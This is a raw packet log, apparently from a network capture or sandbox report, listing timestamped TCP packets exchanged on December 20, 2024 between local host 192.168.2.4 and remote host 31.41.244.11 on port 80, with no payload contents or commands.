Dec 20, 2024 07:12:18.829336882 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.829384089 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.830374956 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.830425978 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.830472946 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.830523014 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.831530094 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.831576109 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.831640005 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.831691027 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.832730055 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.832782984 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.832848072 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.832890987 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.833839893 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.833894014 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.833944082 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.833993912 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.835000038 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.835061073 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.835093021 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.835141897 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.836168051 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.836213112 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.836306095 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.836352110 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.837340117 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.837399006 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.837450981 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.837500095 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.838515043 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.838568926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.838641882 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.838690996 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.839653015 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.839695930 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.839705944 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.839740992 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.840810061 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.840868950 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.840928078 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.840971947 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.841969967 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.842026949 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.842071056 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.842123985 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.843158007 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.843198061 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.843209982 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.843236923 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.844317913 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.844382048 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.844404936 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.844448090 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.845447063 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.845499992 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.845560074 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.845617056 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.846618891 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.846669912 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.977575064 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.977711916 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.977777958 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.977864981 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.978128910 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.978184938 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.978249073 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.978297949 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.979011059 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.979062080 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.979120970 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.979171038 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.980182886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.980237961 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.980272055 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.980318069 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.981340885 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.981359005 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.981399059 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.981429100 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.982547998 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.982604980 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.982605934 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.982649088 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.983659029 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.983710051 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.983767033 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.983818054 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.984829903 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.984878063 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.984930038 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.984976053 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.985999107 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.986049891 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.986098051 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.986150980 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.987155914 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.987206936 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.987230062 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.987277985 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.988353968 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.988435984 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.988518000 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.988569975 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.989487886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.989543915 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.989579916 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.989634037 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.990645885 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.990699053 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.990797997 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.990850925 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.991791964 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.991843939 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.991950035 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.992002010 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.992973089 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.993027925 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.993057013 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.993124962 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.994144917 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.994203091 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.994239092 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.994292021 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.995281935 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.995332956 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.995390892 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.995444059 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.996450901 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.996500969 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.996535063 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.996587038 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.997598886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.997653008 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.997704983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.997756004 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.998821974 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.998894930 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.998907089 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.998956919 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.999933004 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.999988079 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.000026941 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.000077009 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.001087904 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.001141071 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.001192093 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.001244068 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.002260923 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.002311945 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.002382994 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.002432108 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.003473043 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.003525972 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.003535032 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.003586054 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.004590034 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.004638910 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.004681110 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.004730940 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.005748987 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.005798101 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.005832911 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.005882978 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.006926060 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.006977081 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.007062912 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.007112980 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.008104086 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.008155107 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.008184910 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.008240938 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.009289026 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.009352922 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.009361029 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.009394884 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.010413885 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.010478020 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.010528088 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.010575056 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.011564970 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.011612892 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.011652946 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.011707067 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.012725115 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.012780905 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.012842894 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.012892008 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.013880014 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.013935089 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.013977051 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.014025927 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.015069008 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.015089035 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.015121937 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.016212940 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.016283989 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.016347885 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.016396046 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.017378092 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.017395973 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.017426968 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.017451048 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.018537998 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.018589973 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.018682003 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.018731117 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.019707918 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.019772053 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.019779921 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.019814014 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.020879984 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.020927906 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.020937920 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.020986080 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.022017956 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.022068977 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.022145987 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.022195101 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.023189068 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.023238897 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.023257017 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.023302078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.024373055 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.024422884 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.024497032 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.024544954 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.025501966 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.025568962 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.025602102 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.025648117 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.026675940 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.026726961 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.026798964 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.026849985 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.027837992 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.027901888 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.027930021 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.027980089 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.028994083 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.029046059 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.029118061 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.029169083 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.030157089 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.030231953 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.030253887 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.030303955 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.031323910 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.031374931 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.031405926 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.031450033 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.032485008 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.032536030 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.032620907 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.032670021 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.033673048 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.033720970 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.033773899 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.033823013 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.034864902 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.034914970 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.034923077 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.034969091 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.035963058 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.036009073 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.036037922 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.036078930 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.037144899 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.037194014 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.037267923 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.037317038 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.038268089 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.038322926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.173094034 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.173196077 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.173331976 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.173383951 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.173614979 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.173670053 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.173682928 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.173723936 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.174803019 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.174853086 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.174890041 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.174946070 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.174982071 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.175952911 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.176007986 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.176071882 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.176120996 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.177098989 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.177150011 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.177212954 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.177261114 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.178256989 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.178308964 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.178440094 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.178488970 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.179408073 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.179457903 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.179517984 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.179567099 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.180598021 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.180649996 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.180680990 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.180727959 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.181725979 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.181778908 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.181824923 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.181873083 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.182878017 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.182929039 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.182961941 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.183006048 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.184063911 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.184134960 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.184192896 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.184242010 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.185240984 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.185288906 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.185318947 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.185364008 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.186403036 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.186450958 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.186531067 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.186579943 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.187545061 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.187592030 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.187705994 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.187755108 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.188714981 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.188766956 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.188806057 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.188853025 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.189872980 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.189922094 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.189956903 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.190005064 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.191030979 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.191083908 CET	49777	80	192.168.2.4	31.41.244.11
